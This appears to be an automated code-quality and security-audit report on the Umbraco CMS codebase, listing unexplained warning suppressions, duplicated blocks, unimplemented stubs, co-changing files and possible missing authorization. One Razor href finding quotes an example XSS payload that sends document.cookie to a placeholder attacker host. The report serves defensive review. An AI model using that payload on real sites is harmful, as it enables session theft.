BarePragmaDisable src/Umbraco.PublishedCache.HybridCache/DependencyInjection/UmbracoBuilderExtensions.cs:33— #pragma warning disable EXTEXP0018 — the disable is closed again below, so its scope is not the problem; what it records is no reason: there is nothing on the directive line, and no ordinary comment attached to it either side. A suppression is a decision somebody made, and without the reason the next reader cannot tell a considered exception from an unexamined one, so it is never revisited and it outlives the code it was written for. Put the reason on the directive line — what makes this site legitimately different — or fix what the rule is pointing at and delete the pair. A rationale in the member's documentation comment does not clear this row and is not meant to: it explains the member to its callers, and the next person to touch the suppression is not reading it for that.
BarePragmaDisable tests/Umbraco.Tests.Integration/Umbraco.Infrastructure/Packaging/ElementPackagingTests.cs:105— #pragma warning disable CS0618 — the disable is closed again below, so its scope is not the problem; what it records is no reason: there is nothing on the directive line, and no ordinary comment attached to it either side. A suppression is a decision somebody made, and without the reason the next reader cannot tell a considered exception from an unexamined one, so it is never revisited and it outlives the code it was written for. Put the reason on the directive line — what makes this site legitimately different — or fix what the rule is pointing at and delete the pair. A rationale in the member's documentation comment does not clear this row and is not meant to: it explains the member to its callers, and the next person to touch the suppression is not reading it for that.
BarePragmaDisable tests/Umbraco.Tests.Integration/Umbraco.Infrastructure/Packaging/ElementPackagingTests.cs:175— #pragma warning disable CS0618 — the disable is closed again below, so its scope is not the problem; what it records is no reason: there is nothing on the directive line, and no ordinary comment attached to it either side. A suppression is a decision somebody made, and without the reason the next reader cannot tell a considered exception from an unexamined one, so it is never revisited and it outlives the code it was written for. Put the reason on the directive line — what makes this site legitimately different — or fix what the rule is pointing at and delete the pair. A rationale in the member's documentation comment does not clear this row and is not meant to: it explains the member to its callers, and the next person to touch the suppression is not reading it for that.
BarePragmaDisable tests/Umbraco.Tests.Integration/Umbraco.Infrastructure/Packaging/ElementPackagingTests.cs:236— #pragma warning disable CS0618 — the disable is closed again below, so its scope is not the problem; what it records is no reason: there is nothing on the directive line, and no ordinary comment attached to it either side. A suppression is a decision somebody made, and without the reason the next reader cannot tell a considered exception from an unexamined one, so it is never revisited and it outlives the code it was written for. Put the reason on the directive line — what makes this site legitimately different — or fix what the rule is pointing at and delete the pair. A rationale in the member's documentation comment does not clear this row and is not meant to: it explains the member to its callers, and the next person to touch the suppression is not reading it for that.
BareSuppressMessage src/Umbraco.Core/Extensions/StringExtensions.Manipulation.cs:384— SuppressMessage — the suppression records no reason: either it carries no justification argument at all, or one that states nothing a reader can weigh ("OK", "By design"). A suppression is a decision somebody made, and without the reason the next reader cannot tell a considered exception from an unexamined one, so it is never revisited. Write what makes this site legitimately different — the invariant that holds, the framework contract that forces the shape — or remove the suppression and fix what it hides.
BareSuppressMessage src/Umbraco.Core/Extensions/StringExtensions.Parsing.cs:118— SuppressMessage — the suppression records no reason: either it carries no justification argument at all, or one that states nothing a reader can weigh ("OK", "By design"). A suppression is a decision somebody made, and without the reason the next reader cannot tell a considered exception from an unexamined one, so it is never revisited. Write what makes this site legitimately different — the invariant that holds, the framework contract that forces the shape — or remove the suppression and fix what it hides.
BareSuppressMessage src/Umbraco.Core/Extensions/StringExtensions.Parsing.cs:119— SuppressMessage — the suppression records no reason: either it carries no justification argument at all, or one that states nothing a reader can weigh ("OK", "By design"). A suppression is a decision somebody made, and without the reason the next reader cannot tell a considered exception from an unexamined one, so it is never revisited. Write what makes this site legitimately different — the invariant that holds, the framework contract that forces the shape — or remove the suppression and fix what it hides.
BareSuppressMessage src/Umbraco.Core/Extensions/StringExtensions.Parsing.cs:142— SuppressMessage — the suppression records no reason: either it carries no justification argument at all, or one that states nothing a reader can weigh ("OK", "By design"). A suppression is a decision somebody made, and without the reason the next reader cannot tell a considered exception from an unexamined one, so it is never revisited. Write what makes this site legitimately different — the invariant that holds, the framework contract that forces the shape — or remove the suppression and fix what it hides.
BareSuppressMessage src/Umbraco.Core/Extensions/StringExtensions.Parsing.cs:143— SuppressMessage — the suppression records no reason: either it carries no justification argument at all, or one that states nothing a reader can weigh ("OK", "By design"). A suppression is a decision somebody made, and without the reason the next reader cannot tell a considered exception from an unexamined one, so it is never revisited. Write what makes this site legitimately different — the invariant that holds, the framework contract that forces the shape — or remove the suppression and fix what it hides.
BareSuppressMessage tests/Umbraco.Tests.Integration/Umbraco.Core/Services/DynamicRootServiceTests.cs:23— SuppressMessage — the suppression records no reason: either it carries no justification argument at all, or one that states nothing a reader can weigh ("OK", "By design"). A suppression is a decision somebody made, and without the reason the next reader cannot tell a considered exception from an unexamined one, so it is never revisited. Write what makes this site legitimately different — the invariant that holds, the framework contract that forces the shape — or remove the suppression and fix what it hides.
Duplicated block (19 lines × 2) src/Umbraco.Core/Packaging/PackagesRepository.cs:445— src/Umbraco.Core/Packaging/PackagesRepository.cs:445-463 | src/Umbraco.Infrastructure/Persistence/Repositories/Implement/CreatedPackageSchemaRepository.cs:537-555 — before extracting anything, compare `src/Umbraco.Core/Packaging/PackagesRepository.cs` and `src/Umbraco.Infrastructure/Persistence/Repositories/Implement/CreatedPackageSchemaRepository.cs` as WHOLE FILES: this scan already matched 10 separate duplicated blocks between them, totalling at least 205 lines, which is the signature of one file having been copied from the other rather than of a helper waiting to be extracted. The two sit in different directories, so one cannot simply be deleted in favour of the other while both are reached separately: hoist the shared part into a location both already depend on and have each file call it, and retire whichever file turns out to have no caller of its own left. Extracting one helper per block leaves the fork in place. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.Core/Packaging/PackagesRepository.cs:445` it begins part-way through the construct above it, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that. Note that the copies do not run to the end of the range shown: their LAST lines are different code, not the same code under different names — the matched region ends inside that line. Extract the lines above it, and read the last line of each site separately.
Duplicated block (19 lines × 2) src/Umbraco.Core/Services/ExternalMemberService.cs:96— src/Umbraco.Core/Services/ExternalMemberService.cs:96-114 | src/Umbraco.Core/Services/ExternalMemberService.cs:164-182 — both copies are in the same file, so extract the block into one function there and call it from each site — the copies drift apart the first time only one of them is edited. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.Core/Services/ExternalMemberService.cs:96` it runs out through the closing brace of the declaration holding it — the window is that declaration's tail, not a fragment that begins part-way through something, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that. The matched lines also transfer control out of the body holding them, which cannot survive a move into a called unit unchanged: have the extracted unit return that decision and let each site act on it.
Duplicated block (19 lines × 2) src/Umbraco.Infrastructure/PublishedCache/PublishedContentTypeCache.cs:227— src/Umbraco.Infrastructure/PublishedCache/PublishedContentTypeCache.cs:227-245 | src/Umbraco.Infrastructure/PublishedCache/PublishedContentTypeCache.cs:327-345 — both copies are in the same file, so extract the block into one function there and call it from each site — the copies drift apart the first time only one of them is edited. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.Infrastructure/PublishedCache/PublishedContentTypeCache.cs:227` it runs out through the closing brace of the declaration holding it — the window is that declaration's tail, not a fragment that begins part-way through something, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that.
Duplicated block (19 lines × 2) src/Umbraco.Web.Website/Controllers/BasicAuthLoginController.cs:130— src/Umbraco.Web.Website/Controllers/BasicAuthLoginController.cs:130-148 | src/Umbraco.Web.Website/Controllers/BasicAuthLoginController.cs:276-294 — both copies are in the same file, so extract the block into one function there and call it from each site — the copies drift apart the first time only one of them is edited. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.Web.Website/Controllers/BasicAuthLoginController.cs:130` it runs out through the closing brace of the declaration holding it — the window is that declaration's tail, not a fragment that begins part-way through something, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that. The matched lines also transfer control out of the body holding them, which cannot survive a move into a called unit unchanged: have the extracted unit return that decision and let each site act on it.
Duplicated block (19 lines × 2) src/Umbraco.Cms.Api.Management/Mapping/Document/DocumentMapDefinition.cs:71— src/Umbraco.Cms.Api.Management/Mapping/Document/DocumentMapDefinition.cs:71-89 | src/Umbraco.Cms.Api.Management/Mapping/Element/ElementMapDefinition.cs:59-77 — before extracting anything, compare `src/Umbraco.Cms.Api.Management/Mapping/Document/DocumentMapDefinition.cs` and `src/Umbraco.Cms.Api.Management/Mapping/Element/ElementMapDefinition.cs` as WHOLE FILES: this scan already matched 3 separate duplicated blocks between them, totalling at least 46 lines, which is the signature of one file having been copied from the other rather than of a helper waiting to be extracted. The two sit in different directories, so one cannot simply be deleted in favour of the other while both are reached separately: hoist the shared part into a location both already depend on and have each file call it, and retire whichever file turns out to have no caller of its own left. Extracting one helper per block leaves the fork in place. Note first that the copies are not typed on the same thing: the declarations holding them bind `source` to `IContent` in one and `IElement` in another, and the duplicated lines use it. The extracted unit therefore needs a parameter type that fits BOTH — their common supertype where they have one, or a new abstraction over them where they do not — and settling that is the step that comes BEFORE the extraction above. Where the two types are deliberately unrelated, the duplication is the price of that separation and the honest resolution is to record the decision rather than to extract.
Duplicated block (19 lines × 2) src/Umbraco.PublishedCache.HybridCache/Services/ElementCacheService.cs:131— src/Umbraco.PublishedCache.HybridCache/Services/ElementCacheService.cs:131-149 | src/Umbraco.PublishedCache.HybridCache/Services/MediaCacheService.cs:316-334 — the copies sit in sibling files of one directory, so a shared home is within easy reach: extract the block into a single shared function the call sites can all reach — a file they already depend on, or a new one alongside them — and call it from both call sites, so a change lands once. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.PublishedCache.HybridCache/Services/ElementCacheService.cs:131` it does not close everything it opens, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that. Note that the copies do not run to the end of the range shown: their LAST lines are different code, not the same code under different names — the matched region ends inside that line. Extract the lines above it, and read the last line of each site separately. ★ These copies have DRIFTED, and that is worth reading before extracting anything: just before the matched lines, `src/Umbraco.PublishedCache.HybridCache/Services/MediaCacheService.cs:315` calls `GetCacheKey` and `src/Umbraco.PublishedCache.HybridCache/Services/ElementCacheService.cs:129` does not — after which the two agree again for 3 more lines. One of those two behaviours is the intended one and the other is what a copy-paste left behind, so decide which BEFORE unifying them: extracting the shared part will silently settle it, and if the copy that skips the call is the wrong one, that bug is already live.
Unfinished stub — throws NotImplementedException src/Umbraco.Core/Dictionary/ICultureDictionaryFactory.cs:26— `CreateDictionary` is a shipped member whose whole body throws NotImplementedException — scaffolding that was never completed. Implement it or remove the dead surface.
Unfinished stub — throws NotImplementedException src/Umbraco.Core/Models/ContentSchedule.cs:85— `GetHashCode` is a shipped member whose whole body throws NotImplementedException — scaffolding that was never completed. Implement it or remove the dead surface.
Unfinished stub — throws NotImplementedException src/Umbraco.Core/Models/ContentScheduleCollection.cs:319— `GetHashCode` is a shipped member whose whole body throws NotImplementedException — scaffolding that was never completed. Implement it or remove the dead surface.
Unfinished stub — throws NotImplementedException src/Umbraco.Core/Services/ContentBlueprintEditingService.cs:276— `Move` is a shipped member whose whole body throws NotImplementedException — scaffolding that was never completed. Implement it or remove the dead surface.
Unfinished stub — throws NotImplementedException src/Umbraco.Core/Services/ContentBlueprintEditingService.cs:288— `CopyAsync` is a shipped member whose whole body throws NotImplementedException — scaffolding that was never completed. Implement it or remove the dead surface.
Unfinished stub — throws NotImplementedException src/Umbraco.Core/Services/ContentBlueprintEditingService.cs:302— `MoveToRecycleBin` is a shipped member whose whole body throws NotImplementedException — scaffolding that was never completed. Implement it or remove the dead surface.
Change coupling: input-member-group.element.ts ↔ input-member.element.ts src/Umbraco.Web.UI.Client/src/packages/members/member-group/components/input-member-group/input-member-group.element.ts— `src/Umbraco.Web.UI.Client/src/packages/members/member-group/components/input-member-group/input-member-group.element.ts` and `src/Umbraco.Web.UI.Client/src/packages/members/member/components/input-member/input-member.element.ts` change together 55% of the time (6 of the 11 commits that touched whichever of the two files changed less often, counting a file under its earlier names as well, and counted over this repository's 10,000 most recent commits rather than its whole history — a repo-wide or module-wide sweep is evidence about the sweep rather than about any pair inside it and is left out of BOTH sides of this ratio, while a dependency bump or a formatter/rename sweep is left out of the shared count ONLY, so the two sides are not taken over identical commit sets) with no explicit dependency — the edge is real but nothing declares it. Read the pair before acting: if one registers itself into the other through a hook or an initialiser, the missing dependency is DELIBERATE — the registration is the link, and it is meant not to be an import — and the thing to add is a comment on each side naming the other, not a merge; if they simply belong together, co-locate them; if neither holds, the coupling is hidden and worth breaking. You can check this without leaving the row: of the 6 shared commits counted here, the most recent 3 are `10ea3a9b` Correct type in docs for min and max validation messages (#23292); `a1627b82` RTE Link Picker: Fix media selection to allow items not permitted at …; `da66cbdc` Property Editors: Added form control and mandatory support(User, Memb… — run `git show` on any of them.
Change coupling: DocumentUrlAliasService.cs ↔ DocumentUrlService.cs src/Umbraco.Core/Services/DocumentUrlAliasService.cs— `src/Umbraco.Core/Services/DocumentUrlAliasService.cs` and `src/Umbraco.Core/Services/DocumentUrlService.cs` change together 55% of the time (6 of the 11 commits that touched whichever of the two files changed less often, counting a file under its earlier names as well, and counted over this repository's 10,000 most recent commits rather than its whole history — a repo-wide or module-wide sweep is evidence about the sweep rather than about any pair inside it and is left out of BOTH sides of this ratio, while a dependency bump or a formatter/rename sweep is left out of the shared count ONLY, so the two sides are not taken over identical commit sets). They sit in the same directory, and in this ecosystem sibling files there normally share one namespace/package — so a direct reference between them needs no import and this pass cannot see whether one exists. Read the pair before acting: if one file only DECLARES what the other consumes (a constants/types file beside its user), the co-change is definitional and the question is whether the split earns its keep; if they duplicate structure, extract the common part into a shared function or type they both call; if neither holds, the coupling is hidden and worth breaking. You can check this without leaving the row: of the 6 shared commits counted here, the most recent 3 are `82b38fb2` Sync: Attempt to resolve server role during boot (#23801); `b87d519b` Cache: Only write to url table on a single server in load balanced en…; `86176f74` Subscriber Server Role: Skip URL/alias persistence on subscribers wit… — run `git show` on any of them.
Change coupling: dropzone-manager.class.ts ↔ media-collection.element.ts src/Umbraco.Web.UI.Client/src/packages/media/dropzone/dropzone-manager.class.ts— `src/Umbraco.Web.UI.Client/src/packages/media/dropzone/dropzone-manager.class.ts` and `src/Umbraco.Web.UI.Client/src/packages/media/media/collection/media-collection.element.ts` change together 55% of the time (6 of the 11 commits that touched whichever of the two files changed less often, counting a file under its earlier names as well, and counted over this repository's 10,000 most recent commits rather than its whole history — a repo-wide or module-wide sweep is evidence about the sweep rather than about any pair inside it and is left out of BOTH sides of this ratio, while a dependency bump or a formatter/rename sweep is left out of the shared count ONLY, so the two sides are not taken over identical commit sets) with no explicit dependency — the edge is real but nothing declares it. Read the pair before acting: if one registers itself into the other through a hook or an initialiser, the missing dependency is DELIBERATE — the registration is the link, and it is meant not to be an import — and the thing to add is a comment on each side naming the other, not a merge; if they simply belong together, co-locate them; if neither holds, the coupling is hidden and worth breaking. You can check this without leaving the row: of the 6 shared commits counted here, the most recent 3 are `10f37494` V15: umb-dropzone extends umb-input-dropzone (#18784); `ab98ea58` V15: Show upload progress for dropped files in the Media Library (#18… (at that commit the file was still `src/Umbraco.Web.UI.Client/src/packages/media/media/dropzone/dropzone-manager.class.ts`); `ea63d089` V15: Media library crashes when uploading large files (#18113) (at that commit the file was still `src/Umbraco.Web.UI.Client/src/packages/media/media/dropzone/dropzone-manager.class.ts`) — run `git show` on any of them.
Change coupling: ContentPublishingService.cs ↔ ContentService.cs src/Umbraco.Core/Services/ContentPublishingService.cs— `src/Umbraco.Core/Services/ContentPublishingService.cs` and `src/Umbraco.Core/Services/ContentService.cs` change together 50% of the time (5 of the 10 commits that touched whichever of the two files changed less often, counting a file under its earlier names as well, and counted over this repository's 10,000 most recent commits rather than its whole history — a repo-wide or module-wide sweep is evidence about the sweep rather than about any pair inside it and is left out of BOTH sides of this ratio, while a dependency bump or a formatter/rename sweep is left out of the shared count ONLY, so the two sides are not taken over identical commit sets). They sit in the same directory, and in this ecosystem sibling files there normally share one namespace/package — so a direct reference between them needs no import and this pass cannot see whether one exists. Read the pair before acting: if one file only DECLARES what the other consumes (a constants/types file beside its user), the co-change is definitional and the question is whether the split earns its keep; if they duplicate structure, extract the common part into a shared function or type they both call; if neither holds, the coupling is hidden and worth breaking. You can check this without leaving the row: of the 5 shared commits counted here, the most recent 3 are `ad7053af` Move publish with descendants to a background task with polling (#18497); `8e0912cb` Only prevent the unpublish or delete of a related item when configure…; `368f6eb0` V15: Dont delete when referenced setting is enabled (#18359) — run `git show` on any of them.
Change coupling: entity-detail-workspace-base.ts ↔ script-workspace.context.ts src/Umbraco.Web.UI.Client/src/packages/core/workspace/entity-detail/entity-detail-workspace-base.ts— `src/Umbraco.Web.UI.Client/src/packages/core/workspace/entity-detail/entity-detail-workspace-base.ts` and `src/Umbraco.Web.UI.Client/src/packages/templating/scripts/workspace/script-workspace.context.ts` change together 50% of the time (5 of the 10 commits that touched whichever of the two files changed less often, counting a file under its earlier names as well, and counted over this repository's 10,000 most recent commits rather than its whole history — a repo-wide or module-wide sweep is evidence about the sweep rather than about any pair inside it and is left out of BOTH sides of this ratio, while a dependency bump or a formatter/rename sweep is left out of the shared count ONLY, so the two sides are not taken over identical commit sets) with no explicit dependency — the edge is real but nothing declares it. Read the pair before acting: if one registers itself into the other through a hook or an initialiser, the missing dependency is DELIBERATE — the registration is the link, and it is meant not to be an import — and the thing to add is a comment on each side naming the other, not a merge; if they simply belong together, co-locate them; if neither holds, the coupling is hidden and worth breaking. You can check this without leaving the row: of the 5 shared commits counted here, the most recent 3 are `c4b0bdea` Bugfix: Redirect when server file is renamed (#17663); `310ccdc0` Fix: Add "Not Found" empty state to detail workspaces (#17489); `1845ef69` move unique + entityType observable to the base class — run `git show` on any of them.
Duplicated block (23 lines × 2) src/Umbraco.Infrastructure/Persistence/Repositories/Implement/TrackedReferencesRepository.cs:124— src/Umbraco.Infrastructure/Persistence/Repositories/Implement/TrackedReferencesRepository.cs:124-146 | src/Umbraco.Infrastructure/Persistence/Repositories/Implement/TrackedReferencesRepository.cs:198-220 — both copies are in the same file, so extract the block into one function there and call it from each site — the copies drift apart the first time only one of them is edited. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.Infrastructure/Persistence/Repositories/Implement/TrackedReferencesRepository.cs:124` it does not close everything it opens, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that.
Duplicated block (23 lines × 2) src/Umbraco.Cms.Api.Management/Security/BackOfficeSignInManager.cs:193— src/Umbraco.Cms.Api.Management/Security/BackOfficeSignInManager.cs:193-215 | src/Umbraco.Web.Common/Security/MemberSignInManager.cs:233-255 — before extracting anything, compare `src/Umbraco.Cms.Api.Management/Security/BackOfficeSignInManager.cs` and `src/Umbraco.Web.Common/Security/MemberSignInManager.cs` as WHOLE FILES: this scan already matched 5 separate duplicated blocks between them, totalling at least 131 lines, which is the signature of one file having been copied from the other rather than of a helper waiting to be extracted. The two sit in different directories, so one cannot simply be deleted in favour of the other while both are reached separately: hoist the shared part into a location both already depend on and have each file call it, and retire whichever file turns out to have no caller of its own left. Extracting one helper per block leaves the fork in place. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.Cms.Api.Management/Security/BackOfficeSignInManager.cs:193` it does not close everything it opens, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that. Note first that the copies are not typed on the same thing: the declarations holding them bind `autoLinkOptions` to `ExternalSignInAutoLinkOptions?` in one and `MemberExternalSignInAutoLinkOptions?` in another, and the duplicated lines use it. The extracted unit therefore needs a parameter type that fits BOTH — their common supertype where they have one, or a new abstraction over them where they do not — and settling that is the step that comes BEFORE the extraction above. Where the two types are deliberately unrelated, the duplication is the price of that separation and the honest resolution is to record the decision rather than to extract.
Duplicated block (23 lines × 2) src/Umbraco.Cms.Persistence.EFCore/Locking/SqliteEFCoreDistributedLockingMechanism.cs:97— src/Umbraco.Cms.Persistence.EFCore/Locking/SqliteEFCoreDistributedLockingMechanism.cs:97-119 | src/Umbraco.Cms.Persistence.Sqlite/Services/SqliteDistributedLockingMechanism.cs:102-124 — the copies span different directories, so extracting a shared function means choosing where it lives: put it somewhere both call sites can already reach — a location they all depend on today, or a new shared one if there is none — and call it from each site; until then, every change has to be made twice. ★ These copies have DRIFTED, and that is worth reading before extracting anything: just after the matched lines, `src/Umbraco.Cms.Persistence.Sqlite/Services/SqliteDistributedLockingMechanism.cs:125` calls `IsEnabled` and `src/Umbraco.Cms.Persistence.EFCore/Locking/SqliteEFCoreDistributedLockingMechanism.cs:121` does not — after which the two agree again for 2 more lines. One of those two behaviours is the intended one and the other is what a copy-paste left behind, so decide which BEFORE unifying them: extracting the shared part will silently settle it, and if the copy that skips the call is the wrong one, that bug is already live.
Duplicated block (23 lines × 2) src/Umbraco.Cms.Persistence.EFCore/Locking/SqlServerEFCoreDistributedLockingMechanism.cs:112— src/Umbraco.Cms.Persistence.EFCore/Locking/SqlServerEFCoreDistributedLockingMechanism.cs:112-134 | src/Umbraco.Cms.Persistence.SqlServer/Services/SqlServerDistributedLockingMechanism.cs:98-120 — the copies span different directories, so extracting a shared function means choosing where it lives: put it somewhere both call sites can already reach — a location they all depend on today, or a new shared one if there is none — and call it from each site; until then, every change has to be made twice. ★ These copies have DRIFTED, and that is worth reading before extracting anything: just after the matched lines, `src/Umbraco.Cms.Persistence.SqlServer/Services/SqlServerDistributedLockingMechanism.cs:121` calls `IsEnabled` and `src/Umbraco.Cms.Persistence.EFCore/Locking/SqlServerEFCoreDistributedLockingMechanism.cs:136` does not — after which the two agree again for 2 more lines. One of those two behaviours is the intended one and the other is what a copy-paste left behind, so decide which BEFORE unifying them: extracting the shared part will silently settle it, and if the copy that skips the call is the wrong one, that bug is already live.
Duplicated block (23 lines × 2) src/Umbraco.Cms.Persistence.EFCore/Locking/SqlServerEFCoreDistributedLockingMechanism.cs:104— src/Umbraco.Cms.Persistence.EFCore/Locking/SqlServerEFCoreDistributedLockingMechanism.cs:104-126 | src/Umbraco.Cms.Persistence.EFCore/Locking/SqliteEFCoreDistributedLockingMechanism.cs:89-111 — the copies sit in sibling files of one directory, so a shared home is within easy reach: extract the block into a single shared function the call sites can all reach — a file they already depend on, or a new one alongside them — and call it from both call sites, so a change lands once. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.Cms.Persistence.EFCore/Locking/SqlServerEFCoreDistributedLockingMechanism.cs:104` it does not close everything it opens, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that. Note that the copies do not run to the end of the range shown: their LAST lines are different code, not the same code under different names — the matched region ends inside that line. Extract the lines above it, and read the last line of each site separately.
Duplicated block (20 lines × 2) src/Umbraco.Infrastructure/Persistence/Dtos/ExternalMemberDto.cs:71— src/Umbraco.Infrastructure/Persistence/Dtos/ExternalMemberDto.cs:71-90 | src/Umbraco.Infrastructure/Persistence/Dtos/MemberDto.cs:92-111 — the copies sit in sibling files of one directory, so a shared home is within easy reach: extract the block into a single shared function the call sites can all reach — a file they already depend on, or a new one alongside them — and call it from both call sites, so a change lands once.
Duplicated block (20 lines × 2) src/Umbraco.Infrastructure/Persistence/Repositories/Implement/EntityRepository.cs:225— src/Umbraco.Infrastructure/Persistence/Repositories/Implement/EntityRepository.cs:225-244 | src/Umbraco.Infrastructure/Persistence/Repositories/Implement/EntityRepository.cs:258-277 — both copies are in the same file, so extract the block into one function there and call it from each site — the copies drift apart the first time only one of them is edited. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.Infrastructure/Persistence/Repositories/Implement/EntityRepository.cs:225` it runs out through the closing brace of the declaration holding it — the window is that declaration's tail, not a fragment that begins part-way through something, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that.
Duplicated block (20 lines × 2) src/Umbraco.Cms.Api.Management/Controllers/Element/CopyElementController.cs:62— src/Umbraco.Cms.Api.Management/Controllers/Element/CopyElementController.cs:62-81 | src/Umbraco.Cms.Api.Management/Controllers/Element/MoveElementController.cs:61-80 — the copies sit in sibling files of one directory, so a shared home is within easy reach: extract the block into a single shared function the call sites can all reach — a file they already depend on, or a new one alongside them — and call it from both call sites, so a change lands once. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.Cms.Api.Management/Controllers/Element/CopyElementController.cs:62` it runs out through the closing brace of the declaration holding it — the window is that declaration's tail, not a fragment that begins part-way through something, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that. Note that the copies do not run to the end of the range shown: their LAST lines are different code, not the same code under different names — the matched region ends inside that line. Extract the lines above it, and read the last line of each site separately.
Duplicated block (20 lines × 2) src/Umbraco.Cms.Api.Management/Controllers/Tree/FileSystemTreeControllerBase.cs:128— src/Umbraco.Cms.Api.Management/Controllers/Tree/FileSystemTreeControllerBase.cs:128-147 | src/Umbraco.Cms.Api.Management/Services/FileSystem/FileSystemTreeServiceBase.cs:52-71 — the copies span different directories, so extracting a shared function means choosing where it lives: put it somewhere both call sites can already reach — a location they all depend on today, or a new shared one if there is none — and call it from each site; until then, every change has to be made twice. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.Cms.Api.Management/Controllers/Tree/FileSystemTreeControllerBase.cs:128` it runs out through the closing brace of the declaration holding it — the window is that declaration's tail, not a fragment that begins part-way through something, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that.
Duplicated block (20 lines × 2) src/Umbraco.Infrastructure/Persistence/Mappers/ContentMapper.cs:25— src/Umbraco.Infrastructure/Persistence/Mappers/ContentMapper.cs:25-48 | src/Umbraco.Infrastructure/Persistence/Mappers/ElementMapper.cs:26-45 — the copies sit in sibling files of one directory, so a shared home is within easy reach: extract the block into a single shared function the call sites can all reach — a file they already depend on, or a new one alongside them — and call it from both call sites, so a change lands once.
Medium: missing-or-broken-authorization src/Umbraco.Cms.Api.Management/Controllers/BackOfficeLoginController.cs:13— Anonymous access shouldn't be allowed unless explicit by design. Access control checks are missing and potentially can be bypassed. This finding violates the principle of least privilege or deny by default, where access should only be permitted for a specific set of roles or conforms to a custom policy or users. This is a semgrep security-AUDIT rule: it reports that a sensitive construct is present, not that it is exploitable here. Confirm whether this site handles untrusted input or is reachable across a trust boundary — and apply the change where it is; where the construct is required by the platform or protocol it calls into, and carries no untrusted data (a syscall/FFI shim, a build- or debug-gated tool, a fixed local surface), record the review and leave the code as it is. Positions read: an authorization attribute on the type, and one on each routed action — the two the framework resolves from, nearest first. Authorization applied by CONVENTION is outside this lens: a globally registered filter, a policy attached in endpoint routing, or a requirement inherited from a base type declared elsewhere would all leave this file looking exactly as it does. Confirm against the application's endpoint configuration before treating this as an unprotected endpoint; if the surface is public by design, declare it with [AllowAnonymous] on the action so the decision is readable here.
Medium: missing-or-broken-authorization src/Umbraco.Cms.Api.Management/Controllers/Security/BackOfficeDefaultController.cs:14— Anonymous access shouldn't be allowed unless explicit by design. Access control checks are missing and potentially can be bypassed. This finding violates the principle of least privilege or deny by default, where access should only be permitted for a specific set of roles or conforms to a custom policy or users. This is a semgrep security-AUDIT rule: it reports that a sensitive construct is present, not that it is exploitable here. Confirm whether this site handles untrusted input or is reachable across a trust boundary — and apply the change where it is; where the construct is required by the platform or protocol it calls into, and carries no untrusted data (a syscall/FFI shim, a build- or debug-gated tool, a fixed local surface), record the review and leave the code as it is. Positions read: an authorization attribute on the type, and one on each routed action — the two the framework resolves from, nearest first. Authorization applied by CONVENTION is outside this lens: a globally registered filter, a policy attached in endpoint routing, or a requirement inherited from a base type declared elsewhere would all leave this file looking exactly as it does. Confirm against the application's endpoint configuration before treating this as an unprotected endpoint; if the surface is public by design, declare it with [AllowAnonymous] on the action so the decision is readable here.
Medium: watchdog-unrestricted-href-scheme-razor src/Umbraco.Cms.StaticAssets/umbraco/UmbracoWebsite/Maintenance.cshtml:55— The whole of this `href` is a value computed at runtime, so nothing in the template restricts the URL's SCHEME. Razor HTML-encodes an `@` expression, which stops the value breaking out of the attribute and does nothing at all about what protocol it names — a value of `javascript:fetch('https://attacker.example/'+document.cookie)` is encoded unchanged and runs as script the moment somebody clicks the link, with the page's own origin and whatever session it holds. That matters most where the URL arrives from somewhere other than this application: a profile or CMS field, a third-party API payload, a `returnUrl` off the query string. Decide the scheme before the value reaches the view — parse it and accept only the schemes this link is meant to carry (`https`, and `http`/`mailto` if you need them), rejecting or dropping anything else — or, for a link that is always internal, build it with `@Url.Action` / `@Url.Page` or an `asp-page`/`asp-action` tag helper so no runtime value chooses the scheme. This is a semgrep security-AUDIT rule: it reports that a sensitive construct is present, not that it is exploitable here. Confirm whether this site handles untrusted input or is reachable across a trust boundary — and apply the change where it is; where the construct is required by the platform or protocol it calls into, and carries no untrusted data (a syscall/FFI shim, a build- or debug-gated tool, a fixed local surface), record the review and leave the code as it is.
Medium: missing-or-broken-authorization src/Umbraco.Web.Website/Controllers/RenderNoContentController.cs:13— Anonymous access shouldn't be allowed unless explicit by design. Access control checks are missing and potentially can be bypassed. This finding violates the principle of least privilege or deny by default, where access should only be permitted for a specific set of roles or conforms to a custom policy or users. This is a semgrep security-AUDIT rule: it reports that a sensitive construct is present, not that it is exploitable here. Confirm whether this site handles untrusted input or is reachable across a trust boundary — and apply the change where it is; where the construct is required by the platform or protocol it calls into, and carries no untrusted data (a syscall/FFI shim, a build- or debug-gated tool, a fixed local surface), record the review and leave the code as it is. Positions read: an authorization attribute on the type, and one on each routed action — the two the framework resolves from, nearest first. Authorization applied by CONVENTION is outside this lens: a globally registered filter, a policy attached in endpoint routing, or a requirement inherited from a base type declared elsewhere would all leave this file looking exactly as it does. Confirm against the application's endpoint configuration before treating this as an unprotected endpoint; if the surface is public by design, declare it with [AllowAnonymous] on the action so the decision is readable here.
D4 · Code Duplication· Members sharing a duplicated core (4 members, 50+ identical tokens) · ×4
